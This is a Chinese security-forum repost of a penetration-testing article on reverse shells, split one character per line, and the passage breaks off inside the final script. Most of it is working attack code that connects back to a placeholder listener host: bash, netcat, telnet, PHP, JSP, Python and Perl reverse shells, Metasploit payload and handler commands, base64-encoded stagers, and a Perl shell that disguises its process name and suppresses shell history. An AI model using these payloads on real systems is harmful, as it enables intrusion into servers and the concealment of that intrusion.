论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
渗透测试
[20862] 2017-08-15_Web渗透中的反弹Shell与端口转发的技巧
文档创建者:
s7ckTeam
浏览次数:
6
最后更新:
2025-01-18
渗透测试
6 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2017-08-15_Web渗透中的反弹Shell与端口转发的技巧
W
e
b
渗
透
中
的
反
弹
S
h
e
l
l
与
端
口
转
发
的
技
巧
L
e
m
o
n
S
e
c
2
0
1
7
-
0
8
-
1
5
0
x
0
0
前
言
在
做
渗
透
测
试
时
,
遇
到
l
i
n
u
x
服
务
器
,
直
观
想
到
反
弹
s
h
e
l
l
到
本
地
进
行
溢
出
等
提
权
尝
试
,
而
其
中
涉
及
到
的
反
弹
/
转
发
/
代
理
的
种
种
方
式
,
就
在
此
文
做
一
简
单
小
结
.
0
x
0
1
反
弹
s
h
e
l
l
1
)
B
a
s
h
部
分
l
i
n
u
x
发
行
版
中
的
B
a
s
h
可
以
直
接
反
弹
一
个
s
h
e
l
l
到
指
定
i
p
端
口
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
x
.
x
.
x
.
x
/
2
3
3
3
0
>
&
1
2
)
N
e
t
C
a
t
N
e
t
c
a
t
反
弹
s
h
e
l
l
也
是
常
用
兵
器
,
经
典
命
令
参
数
-
e
n
c
-
e
/
b
i
n
/
s
h
x
.
x
.
x
.
x
2
3
3
3
但
某
些
版
本
的
n
c
没
有
-
e
参
数
(
非
传
统
版
)
,
则
可
使
用
以
下
方
式
解
决
r
m
/
t
m
p
/
f
;
m
k
f
i
f
o
/
t
m
p
/
f
;
c
a
t
/
t
m
p
/
f
|
/
b
i
n
/
s
h
-
i
2
>
&
1
|
n
c
x
.
x
.
x
.
x
2
3
3
3
>
/
t
m
p
/
f
或
者
本
地
监
听
两
个
端
口
,
通
过
管
道
,
一
处
输
入
,
一
处
输
出
n
c
x
.
x
.
x
.
x
2
3
3
3
|
/
b
i
n
/
s
h
|
n
c
x
.
x
.
x
.
x
2
4
4
4
其
他
方
式
基
本
沿
用
以
上
思
路
,
如
将
n
c
更
换
为
t
e
l
n
e
t
等
m
k
n
o
d
b
a
c
k
p
i
p
e
p
&
&
t
e
l
n
e
t
x
.
x
.
x
.
x
2
3
3
3
0
<
b
a
c
k
p
i
p
e
|
/
b
i
n
/
b
a
s
h
1
>
b
a
c
k
p
i
p
e
3
)
P
H
P
P
H
P
环
境
下
反
弹
s
h
e
l
l
,
过
去
我
们
通
常
用
p
h
p
s
p
y
等
s
h
e
l
l
自
带
反
弹
即
可
,
这
里
将
其
反
弹
部
分
代
码
提
取
出
来
,
访
问
即
可
反
弹
到
指
定
I
P
端
口
一
个
普
通
交
互
s
h
e
l
l
<
?
p
h
p
f
u
n
c
t
i
o
n
w
h
i
c
h
(
$
p
r
)
{
$
p
a
t
h
=
e
x
e
c
u
t
e
(
"
w
h
i
c
h
$
p
r
"
)
;
r
e
t
u
r
n
(
$
p
a
t
h
?
$
p
a
t
h
:
$
p
r
)
;
}
f
u
n
c
t
i
o
n
e
x
e
c
u
t
e
(
$
c
f
e
)
{
$
r
e
s
=
'
'
;
i
f
(
$
c
f
e
)
{
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
e
x
e
c
'
)
)
{
@
e
x
e
c
(
$
c
f
e
,
$
r
e
s
)
;
$
r
e
s
=
j
o
i
n
(
"
n
"
,
$
r
e
s
)
;
}
e
l
s
e
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
s
h
e
l
l
_
e
x
e
c
'
)
)
{
$
r
e
s
=
@
s
h
e
l
l
_
e
x
e
c
(
$
c
f
e
)
;
}
e
l
s
e
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
s
y
s
t
e
m
'
)
)
{
@
o
b
_
s
t
a
r
t
(
)
;
@
s
y
s
t
e
m
(
$
c
f
e
)
;
$
r
e
s
=
@
o
b
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
;
@
o
b
_
e
n
d
_
c
l
e
a
n
(
)
;
}
e
l
s
e
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
p
a
s
s
t
h
r
u
'
)
)
{
@
o
b
_
s
t
a
r
t
(
)
;
@
p
a
s
s
t
h
r
u
(
$
c
f
e
)
;
$
r
e
s
=
@
o
b
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
;
@
o
b
_
e
n
d
_
c
l
e
a
n
(
)
;
}
e
l
s
e
i
f
(
@
i
s
_
r
e
s
o
u
r
c
e
(
$
f
=
@
p
o
p
e
n
(
$
c
f
e
,
"
r
"
)
)
)
{
$
r
e
s
=
'
'
;
w
h
i
l
e
(
!
@
f
e
o
f
(
$
f
)
)
{
$
r
e
s
.
=
@
f
r
e
a
d
(
$
f
,
1
0
2
4
)
;
}
@
p
c
l
o
s
e
(
$
f
)
;
}
}
r
e
t
u
r
n
$
r
e
s
;
}
f
u
n
c
t
i
o
n
c
f
(
$
f
n
a
m
e
,
$
t
e
x
t
)
{
i
f
(
$
f
p
=
@
f
o
p
e
n
(
$
f
n
a
m
e
,
'
w
'
)
)
{
@
f
p
u
t
s
(
$
f
p
,
@
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
t
e
x
t
)
)
;
@
f
c
l
o
s
e
(
$
f
p
)
;
}
}
$
y
o
u
r
i
p
=
"
x
.
x
.
x
.
x
"
;
$
y
o
u
r
p
o
r
t
=
"
2
3
3
3
"
;
$
u
s
e
d
b
=
a
r
r
a
y
(
'
p
e
r
l
'
=
>
'
p
e
r
l
'
,
'
c
'
=
>
'
c
'
)
;
$
b
a
c
k
_
c
o
n
n
e
c
t
=
"
I
y
E
v
d
X
N
y
L
2
J
p
b
i
9
w
Z
X
J
s
D
Q
p
1
c
2
U
g
U
2
9
j
a
2
V
0
O
w
0
K
J
G
N
t
Z
D
0
g
I
m
x
5
b
n
g
i
O
w
0
K
J
H
N
5
c
3
R
l
b
T
0
g
J
2
V
j
a
G
8
g
I
m
B
1
b
m
F
t
Z
S
A
t
Y
W
A
i
O
2
V
j
"
.
"
a
G
8
g
I
m
B
p
Z
G
A
i
O
y
9
i
a
W
4
v
c
2
g
n
O
w
0
K
J
D
A
9
J
G
N
t
Z
D
s
N
C
i
R
0
Y
X
J
n
Z
X
Q
9
J
E
F
S
R
1
Z
b
M
F
0
7
D
Q
o
k
c
G
9
y
d
D
0
k
Q
V
J
H
V
l
s
x
X
T
s
N
C
i
R
p
Y
W
R
k
c
j
1
p
b
m
V
0
X
2
F
0
b
2
4
o
J
H
R
"
.
"
h
c
m
d
l
d
C
k
g
f
H
w
g
Z
G
l
l
K
C
J
F
c
n
J
v
c
j
o
g
J
C
F
c
b
i
I
p
O
w
0
K
J
H
B
h
Z
G
R
y
P
X
N
v
Y
2
t
h
Z
G
R
y
X
2
l
u
K
C
R
w
b
3
J
0
L
C
A
k
a
W
F
k
Z
H
I
p
I
H
x
8
I
G
R
p
Z
S
g
i
R
X
J
y
b
3
I
6
I
C
Q
h
X
G
4
i
K
T
"
.
"
s
N
C
i
R
w
c
m
9
0
b
z
1
n
Z
X
R
w
c
m
9
0
b
2
J
5
b
m
F
t
Z
S
g
n
d
G
N
w
J
y
k
7
D
Q
p
z
b
2
N
r
Z
X
Q
o
U
0
9
D
S
0
V
U
L
C
B
Q
R
l
9
J
T
k
V
U
L
C
B
T
T
0
N
L
X
1
N
U
U
k
V
B
T
S
w
g
J
H
B
y
b
3
R
v
K
S
B
8
f
C
B
k
a
W
U
o
I
"
.
"
k
V
y
c
m
9
y
O
i
A
k
I
V
x
u
I
i
k
7
D
Q
p
j
b
2
5
u
Z
W
N
0
K
F
N
P
Q
0
t
F
V
C
w
g
J
H
B
h
Z
G
R
y
K
S
B
8
f
C
B
k
a
W
U
o
I
k
V
y
c
m
9
y
O
i
A
k
I
V
x
u
I
i
k
7
D
Q
p
v
c
G
V
u
K
F
N
U
R
E
l
O
L
C
A
i
P
i
Z
T
T
0
N
L
R
V
Q
i
"
.
"
K
T
s
N
C
m
9
w
Z
W
4
o
U
1
R
E
T
1
V
U
L
C
A
i
P
i
Z
T
T
0
N
L
R
V
Q
i
K
T
s
N
C
m
9
w
Z
W
4
o
U
1
R
E
R
V
J
S
L
C
A
i
P
i
Z
T
T
0
N
L
R
V
Q
i
K
T
s
N
C
n
N
5
c
3
R
l
b
S
g
k
c
3
l
z
d
G
V
t
K
T
s
N
C
m
N
s
b
3
N
l
K
F
N
U
R
E
l
"
.
"
O
K
T
s
N
C
m
N
s
b
3
N
l
K
F
N
U
R
E
9
V
V
C
k
7
D
Q
p
j
b
G
9
z
Z
S
h
T
V
E
R
F
U
l
I
p
O
w
=
=
"
;
c
f
(
'
/
t
m
p
/
.
b
c
'
,
$
b
a
c
k
_
c
o
n
n
e
c
t
)
;
$
r
e
s
=
e
x
e
c
u
t
e
(
w
h
i
c
h
(
'
p
e
r
l
'
)
.
"
/
t
m
p
/
.
b
c
$
y
o
u
r
i
p
$
y
o
u
r
p
o
r
t
&
"
)
;
?
>
访
问
,
成
功
返
回
但
需
要
注
意
p
h
p
需
未
禁
用
e
x
e
c
函
数
.
另
外
,
M
e
t
a
s
p
l
o
i
t
的
p
a
y
l
o
a
d
也
提
供
各
种
反
弹
脚
本
,
如
m
s
f
>
m
s
f
p
a
y
l
o
a
d
p
h
p
/
r
e
v
e
r
s
e
_
p
h
p
L
H
O
S
T
=
x
.
x
.
x
.
x
L
P
O
R
T
=
2
3
3
3
R
>
r
e
.
p
h
p
生
成
文
件
内
容
像
这
样
将
文
件
传
入
s
h
e
l
l
中
,
在
m
s
f
中
开
一
个
h
a
n
d
l
e
r
m
s
f
>
u
s
e
m
u
l
t
i
/
h
a
n
d
l
e
r
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
s
e
t
P
A
Y
L
O
A
D
p
h
p
/
r
e
v
e
r
s
e
_
p
h
p
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
s
e
t
L
H
O
S
T
x
.
x
.
x
.
x
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
s
e
t
L
P
O
R
T
2
3
3
3
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
e
x
p
l
o
i
t
此
时
访
问
r
e
.
p
h
p
,
即
可
反
弹
到
本
地
一
个
s
h
e
l
l
当
然
,
用
n
c
直
接
监
听
端
口
也
是
可
以
的
其
他
可
以
考
虑
使
用
m
s
f
编
码
变
形
等
,
g
i
t
h
u
b
也
有
这
样
一
个
脚
本
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
k
e
s
h
y
/
c
w
g
_
t
o
o
l
s
/
b
l
o
b
/
m
a
s
t
e
r
/
p
h
p
-
r
e
v
e
r
s
e
-
s
h
e
l
l
.
p
h
p
可
供
参
考
4
)
J
S
P
J
S
P
类
似
,
使
用
m
s
f
生
成
一
个
反
弹
s
h
e
l
l
m
s
f
p
a
y
l
o
a
d
j
a
v
a
/
j
s
p
_
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
x
.
x
.
x
.
x
R
>
r
e
.
j
s
p
然
后
在
m
s
f
中
开
一
个
h
a
n
d
l
e
r
m
s
f
>
u
s
e
e
x
p
l
o
i
t
/
m
u
l
t
i
/
h
a
n
d
l
e
r
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
s
e
t
P
A
Y
L
O
A
D
j
a
v
a
/
j
s
p
_
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
s
e
t
L
H
O
S
T
1
9
2
.
1
6
8
.
1
0
.
1
m
s
f
e
x
p
l
o
i
t
(
h
a
n
d
l
e
r
)
>
e
x
p
l
o
i
t
类
似
方
法
即
可
反
弹
回
s
h
e
l
l
5
)
P
y
t
h
o
n
一
个
P
y
t
h
o
n
反
弹
s
h
e
l
l
的
代
码
d
e
m
o
p
y
t
h
o
n
-
c
'
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
o
s
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
;
s
.
c
o
n
n
e
c
t
(
(
"
x
.
x
.
x
.
x
"
,
2
3
3
3
)
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
0
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
1
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
2
)
;
p
=
s
u
b
p
r
o
c
e
s
s
.
c
a
l
l
(
[
"
/
b
i
n
/
s
h
"
,
"
-
i
"
]
)
;
'
整
洁
规
范
的
P
y
t
h
o
n
写
法
应
该
像
是
这
样
,
更
易
懂
些
:
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
o
s
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
s
.
c
o
n
n
e
c
t
(
(
"
x
.
x
.
x
.
x
"
,
2
3
3
3
)
)
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
0
)
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
1
)
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
2
)
p
=
s
u
b
p
r
o
c
e
s
s
.
c
a
l
l
(
[
"
/
b
i
n
/
s
h
"
,
"
-
i
"
]
)
;
其
他
脚
本
像
这
样
子
p
y
t
h
o
n
-
c
"
e
x
e
c
(
"
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
)
;
s
.
c
o
n
n
e
c
t
(
(
'
x
.
x
.
x
.
x
'
,
2
3
3
3
)
)
n
w
h
i
l
e
1
:
p
r
o
c
=
s
u
b
p
r
o
c
e
s
s
.
P
o
p
e
n
(
s
.
r
e
c
v
(
1
0
2
4
)
,
s
h
e
l
l
=
T
r
u
e
,
s
t
d
o
u
t
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
e
r
r
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
i
n
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
)
;
s
.
s
e
n
d
(
p
r
o
c
.
s
t
d
o
u
t
.
r
e
a
d
(
)
+
p
r
o
c
.
s
t
d
e
r
r
.
r
e
a
d
(
)
)
"
)
"
m
s
f
的
p
a
y
l
o
a
d
给
出
这
样
的
解
法
m
s
f
v
e
n
o
m
-
f
r
a
w
-
p
p
y
t
h
o
n
/
m
e
t
e
r
p
r
e
t
e
r
/
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
x
.
x
.
x
.
x
L
P
O
R
T
=
2
3
3
3
生
成
编
码
后
文
件
:
i
m
p
o
r
t
b
a
s
e
6
4
;
e
x
e
c
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
'
a
W
1
w
b
3
J
0
I
H
N
v
Y
2
t
l
d
C
x
z
d
H
J
1
Y
3
Q
K
c
z
1
z
b
2
N
r
Z
X
Q
u
c
2
9
j
a
2
V
0
K
D
I
s
M
S
k
K
c
y
5
j
b
2
5
u
Z
W
N
0
K
C
g
n
M
C
4
w
L
j
A
u
M
C
c
s
M
j
M
z
M
y
k
p
C
m
w
9
c
3
R
y
d
W
N
0
L
n
V
u
c
G
F
j
a
y
g
n
P
k
k
n
L
H
M
u
c
m
V
j
d
i
g
0
K
S
l
b
M
F
0
K
Z
D
1
z
L
n
J
l
Y
3
Y
o
N
D
A
5
N
i
k
K
d
2
h
p
b
G
U
g
b
G
V
u
K
G
Q
p
I
T
1
s
O
g
o
J
Z
C
s
9
c
y
5
y
Z
W
N
2
K
D
Q
w
O
T
Y
p
C
m
V
4
Z
W
M
o
Z
C
x
7
J
3
M
n
O
n
N
9
K
Q
o
=
'
)
)
B
a
s
e
6
4
解
码
后
:
i
m
p
o
r
t
s
o
c
k
e
t
,
s
t
r
u
c
t
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
2
,
1
)
s
.
c
o
n
n
e
c
t
(
(
'
x
.
x
.
x
.
x
'
,
2
3
3
3
)
)
l
=
s
t
r
u
c
t
.
u
n
p
a
c
k
(
'
&
g
t
;
I
'
,
s
.
r
e
c
v
(
4
)
)
[
0
]
d
=
s
.
r
e
c
v
(
4
0
9
6
)
w
h
i
l
e
l
e
n
(
d
)
!
=
l
:
d
+
=
s
.
r
e
c
v
(
4
0
9
6
)
e
x
e
c
(
d
,
{
'
s
'
:
s
}
)
关
于
交
互
式
正
向
连
接
s
h
e
l
l
,
几
点
需
要
注
意
的
地
方
1
.
不
管
在
l
i
n
u
x
还
是
w
i
n
d
o
w
s
下
,
想
要
做
到
交
互
式
,
只
能
开
启
一
个
s
h
e
l
l
.
不
能
够
每
次
接
收
到
命
令
就
再
开
启
一
个
s
h
e
l
l
进
程
,
然
后
执
行
.
2
.
w
i
n
d
o
w
s
下
c
m
d
.
e
x
e
/
K
参
数
是
保
持
c
m
d
不
结
束
,
/
c
参
数
是
执
行
完
后
就
结
束
,
注
意
区
别
.
最
终
W
i
n
版
本
:
f
r
o
m
s
o
c
k
e
t
i
m
p
o
r
t
*
i
m
p
o
r
t
s
u
b
p
r
o
c
e
s
s
i
m
p
o
r
t
o
s
,
t
h
r
e
a
d
i
n
g
d
e
f
s
e
n
d
(
t
a
l
k
,
p
r
o
c
)
:
i
m
p
o
r
t
t
i
m
e
w
h
i
l
e
T
r
u
e
:
m
s
g
=
p
r
o
c
.
s
t
d
o
u
t
.
r
e
a
d
l
i
n
e
(
)
t
a
l
k
.
s
e
n
d
(
m
s
g
)
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
s
e
r
v
e
r
=
s
o
c
k
e
t
(
A
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
)
s
e
r
v
e
r
.
b
i
n
d
(
(
'
0
.
0
.
0
.
0
'
,
2
3
3
3
3
)
)
s
e
r
v
e
r
.
l
i
s
t
e
n
(
5
)
p
r
i
n
t
'
w
a
i
t
i
n
g
f
o
r
c
o
n
n
e
c
t
'
t
a
l
k
,
a
d
d
r
=
s
e
r
v
e
r
.
a
c
c
e
p
t
(
)
p
r
i
n
t
'
c
o
n
n
e
c
t
f
r
o
m
'
,
a
d
d
r
p
r
o
c
=
s
u
b
p
r
o
c
e
s
s
.
P
o
p
e
n
(
'
c
m
d
.
e
x
e
/
K
'
,
s
t
d
i
n
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
o
u
t
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
e
r
r
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
h
e
l
l
=
T
r
u
e
)
t
=
t
h
r
e
a
d
i
n
g
.
T
h
r
e
a
d
(
t
a
r
g
e
t
=
s
e
n
d
,
a
r
g
s
=
(
t
a
l
k
,
p
r
o
c
)
)
t
.
s
e
t
D
a
e
m
o
n
(
T
r
u
e
)
t
.
s
t
a
r
t
(
)
w
h
i
l
e
T
r
u
e
:
c
m
d
=
t
a
l
k
.
r
e
c
v
(
1
0
2
4
)
p
r
o
c
.
s
t
d
i
n
.
w
r
i
t
e
(
c
m
d
)
p
r
o
c
.
s
t
d
i
n
.
f
l
u
s
h
(
)
s
e
r
v
e
r
.
c
l
o
s
e
(
)
L
i
n
u
x
版
本
:
f
r
o
m
s
o
c
k
e
t
i
m
p
o
r
t
*
i
m
p
o
r
t
s
u
b
p
r
o
c
e
s
s
i
m
p
o
r
t
o
s
,
t
h
r
e
a
d
i
n
g
,
s
y
s
,
t
i
m
e
i
f
_
_
n
a
m
e
_
_
=
=
"
_
_
m
a
i
n
_
_
"
:
s
e
r
v
e
r
=
s
o
c
k
e
t
(
A
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
)
s
e
r
v
e
r
.
b
i
n
d
(
(
'
0
.
0
.
0
.
0
'
,
1
1
)
)
s
e
r
v
e
r
.
l
i
s
t
e
n
(
5
)
p
r
i
n
t
'
w
a
i
t
i
n
g
f
o
r
c
o
n
n
e
c
t
'
t
a
l
k
,
a
d
d
r
=
s
e
r
v
e
r
.
a
c
c
e
p
t
(
)
p
r
i
n
t
'
c
o
n
n
e
c
t
f
r
o
m
'
,
a
d
d
r
p
r
o
c
=
s
u
b
p
r
o
c
e
s
s
.
P
o
p
e
n
(
[
"
/
b
i
n
/
s
h
"
,
"
-
i
"
]
,
s
t
d
i
n
=
t
a
l
k
,
s
t
d
o
u
t
=
t
a
l
k
,
s
t
d
e
r
r
=
t
a
l
k
,
s
h
e
l
l
=
T
r
u
e
)
执
行
后
主
动
连
接
即
可
6
)
P
e
r
l
首
先
给
一
个
原
理
类
似
的
脚
本
p
e
r
l
-
e
'
u
s
e
S
o
c
k
e
t
;
$
i
=
"
x
.
x
.
x
,
x
"
;
$
p
=
2
3
3
3
;
s
o
c
k
e
t
(
S
,
P
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
,
g
e
t
p
r
o
t
o
b
y
n
a
m
e
(
"
t
c
p
"
)
)
;
i
f
(
c
o
n
n
e
c
t
(
S
,
s
o
c
k
a
d
d
r
_
i
n
(
$
p
,
i
n
e
t
_
a
t
o
n
(
$
i
)
)
)
)
{
o
p
e
n
(
S
T
D
I
N
,
"
&
g
t
;
&
a
m
p
;
S
"
)
;
o
p
e
n
(
S
T
D
O
U
T
,
"
&
g
t
;
&
a
m
p
;
S
"
)
;
o
p
e
n
(
S
T
D
E
R
R
,
"
&
g
t
;
&
a
m
p
;
S
"
)
;
e
x
e
c
(
"
/
b
i
n
/
s
h
-
i
"
)
;
}
;
'
然
后
是
一
个
不
依
赖
调
用
/
b
i
n
/
b
a
s
h
的
方
法
p
e
r
l
-
M
I
O
-
e
'
$
p
=
f
o
r
k
;
e
x
i
t
,
i
f
(
$
p
)
;
$
c
=
n
e
w
I
O
:
:
S
o
c
k
e
t
:
:
I
N
E
T
(
P
e
e
r
A
d
d
r
,
"
x
.
x
.
x
.
x
:
4
4
4
4
"
)
;
S
T
D
I
N
-
>
f
d
o
p
e
n
(
$
c
,
r
)
;
$
~
-
>
f
d
o
p
e
n
(
$
c
,
w
)
;
s
y
s
t
e
m
$
_
w
h
i
l
e
<
>
;
'
一
个
完
整
的
反
弹
p
l
脚
本
#
!
/
u
s
r
/
b
i
n
/
p
e
r
l
-
w
#
p
e
r
l
-
r
e
v
e
r
s
e
-
s
h
e
l
l
-
A
R
e
v
e
r
s
e
S
h
e
l
l
i
m
p
l
e
m
e
n
t
a
t
i
o
n
i
n
P
E
R
L
u
s
e
s
t
r
i
c
t
;
u
s
e
S
o
c
k
e
t
;
u
s
e
F
i
l
e
H
a
n
d
l
e
;
u
s
e
P
O
S
I
X
;
m
y
$
V
E
R
S
I
O
N
=
"
1
.
0
"
;
#
W
h
e
r
e
t
o
s
e
n
d
t
h
e
r
e
v
e
r
s
e
s
h
e
l
l
.
C
h
a
n
g
e
t
h
e
s
e
.
m
y
$
i
p
=
'
x
.
x
.
x
.
x
'
;
m
y
$
p
o
r
t
=
2
3
3
3
;
#
O
p
t
i
o
n
s
m
y
$
d
a
e
m
o
n
=
1
;
m
y
$
a
u
t
h
=
0
;
#
0
m
e
a
n
s
a
u
t
h
e
n
t
i
c
a
t
i
o
n
i
s
d
i
s
a
b
l
e
d
a
n
d
a
n
y
#
s
o
u
r
c
e
I
P
c
a
n
a
c
c
e
s
s
t
h
e
r
e
v
e
r
s
e
s
h
e
l
l
m
y
$
a
u
t
h
o
r
i
s
e
d
_
c
l
i
e
n
t
_
p
a
t
t
e
r
n
=
q
r
(
^
1
2
7
.
0
.
0
.
1
$
)
;
#
D
e
c
l
a
r
a
t
i
o
n
s
m
y
$
g
l
o
b
a
l
_
p
a
g
e
=
"
"
;
m
y
$
f
a
k
e
_
p
r
o
c
e
s
s
_
n
a
m
e
=
"
/
u
s
r
/
s
b
i
n
/
a
p
a
c
h
e
"
;
#
C
h
a
n
g
e
t
h
e
p
r
o
c
e
s
s
n
a
m
e
t
o
b
e
l
e
s
s
c
o
n
s
p
i
c
i
o
u
s
$
0
=
"
[
h
t
t
p
d
]
"
;
#
A
u
t
h
e
n
t
i
c
a
t
e
b
a
s
e
d
o
n
s
o
u
r
c
e
I
P
a
d
d
r
e
s
s
i
f
r
e
q
u
i
r
e
d
i
f
(
d
e
f
i
n
e
d
(
$
E
N
V
{
'
R
E
M
O
T
E
_
A
D
D
R
'
}
)
)
{
c
g
i
p
r
i
n
t
(
"
B
r
o
w
s
e
r
I
P
a
d
d
r
e
s
s
a
p
p
e
a
r
s
t
o
b
e
:
$
E
N
V
{
'
R
E
M
O
T
E
_
A
D
D
R
'
}
"
)
;
i
f
(
$
a
u
t
h
)
{
u
n
l
e
s
s
(
$
E
N
V
{
'
R
E
M
O
T
E
_
A
D
D
R
'
}
=
~
$
a
u
t
h
o
r
i
s
e
d
_
c
l
i
e
n
t
_
p
a
t
t
e
r
n
)
{
c
g
i
p
r
i
n
t
(
"
E
R
R
O
R
:
Y
o
u
r
c
l
i
e
n
t
i
s
n
'
t
a
u
t
h
o
r
i
s
e
d
t
o
v
i
e
w
t
h
i
s
p
a
g
e
"
)
;
c
g
i
e
x
i
t
(
)
;
}
}
}
e
l
s
i
f
(
$
a
u
t
h
)
{
c
g
i
p
r
i
n
t
(
"
E
R
R
O
R
:
A
u
t
h
e
n
t
i
c
a
t
i
o
n
i
s
e
n
a
b
l
e
d
,
b
u
t
I
c
o
u
l
d
n
'
t
d
e
t
e
r
m
i
n
e
y
o
u
r
I
P
a
d
d
r
e
s
s
.
D
e
n
y
i
n
g
a
c
c
e
s
s
"
)
;
c
g
i
e
x
i
t
(
0
)
;
}
#
B
a
c
k
g
r
o
u
n
d
a
n
d
d
i
s
s
o
c
i
a
t
e
f
r
o
m
p
a
r
e
n
t
p
r
o
c
e
s
s
i
f
r
e
q
u
i
r
e
d
i
f
(
$
d
a
e
m
o
n
)
{
m
y
$
p
i
d
=
f
o
r
k
(
)
;
i
f
(
$
p
i
d
)
{
c
g
i
e
x
i
t
(
0
)
;
#
p
a
r
e
n
t
e
x
i
t
s
}
s
e
t
s
i
d
(
)
;
c
h
d
i
r
(
'
/
'
)
;
u
m
a
s
k
(
0
)
;
}
#
M
a
k
e
T
C
P
c
o
n
n
e
c
t
i
o
n
f
o
r
r
e
v
e
r
s
e
s
h
e
l
l
s
o
c
k
e
t
(
S
O
C
K
,
P
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
,
g
e
t
p
r
o
t
o
b
y
n
a
m
e
(
'
t
c
p
'
)
)
;
i
f
(
c
o
n
n
e
c
t
(
S
O
C
K
,
s
o
c
k
a
d
d
r
_
i
n
(
$
p
o
r
t
,
i
n
e
t
_
a
t
o
n
(
$
i
p
)
)
)
)
{
c
g
i
p
r
i
n
t
(
"
S
e
n
t
r
e
v
e
r
s
e
s
h
e
l
l
t
o
$
i
p
:
$
p
o
r
t
"
)
;
c
g
i
p
r
i
n
t
p
a
g
e
(
)
;
}
e
l
s
e
{
c
g
i
p
r
i
n
t
(
"
C
o
u
l
d
n
'
t
o
p
e
n
r
e
v
e
r
s
e
s
h
e
l
l
t
o
$
i
p
:
$
p
o
r
t
:
$
!
"
)
;
c
g
i
e
x
i
t
(
)
;
}
#
R
e
d
i
r
e
c
t
S
T
D
I
N
,
S
T
D
O
U
T
a
n
d
S
T
D
E
R
R
t
o
t
h
e
T
C
P
c
o
n
n
e
c
t
i
o
n
o
p
e
n
(
S
T
D
I
N
,
"
&
g
t
;
&
a
m
p
;
S
O
C
K
"
)
;
o
p
e
n
(
S
T
D
O
U
T
,
"
&
g
t
;
&
a
m
p
;
S
O
C
K
"
)
;
o
p
e
n
(
S
T
D
E
R
R
,
"
&
g
t
;
&
a
m
p
;
S
O
C
K
"
)
;
$
E
N
V
{
'
H
I
S
T
F
I
L
E
'
}
=
'
/
d
e
v
/
n
u
l
l
'
;
s
y
s
t
e
m
(
"
w
;
u
n
a
m
e
-
a
;
i
d
;
p
w
d
"
)
;
e
x
e
c
(
{
"
/
b
i
n
/
s
h
"
}
(
$
f
a
k
e
_
p
r
o
c
e
s
s
_
n
a
m
e
,
"
-
i
"
)
)
;
#
W
r
a
p
p
e
r
a
r
o
u
n
d
p
r
i
n
t
s
u
b
c
g
i
p
r
i
n
t
{
m
y
$
l
i
n
e
=
s
h
i
f
t
;
$
l
i
n
e
.
=
"
&
l
t
;
p
&
g
t
;
n
"
;
$
g
l
o
b
a
l
_
p
a
g
e
.
=
$
l
i
n
e
;
}
#
W
r
a
p
p
e
r
a
r
o
u
n
d
e
x
i
t
s
u
b
c
g
i
e
x
i
t
{
c
g
i
p
r
i
n
t
p
a
g
e
(
)
;
e
x
i
t
0
;
#
0
t
o
e
n
s
u
r
e
w
e
d
o
n
'
t
g
i
v
e
a
5
0
0
r
e
s
p
o
n
s
e
.
}
#
F
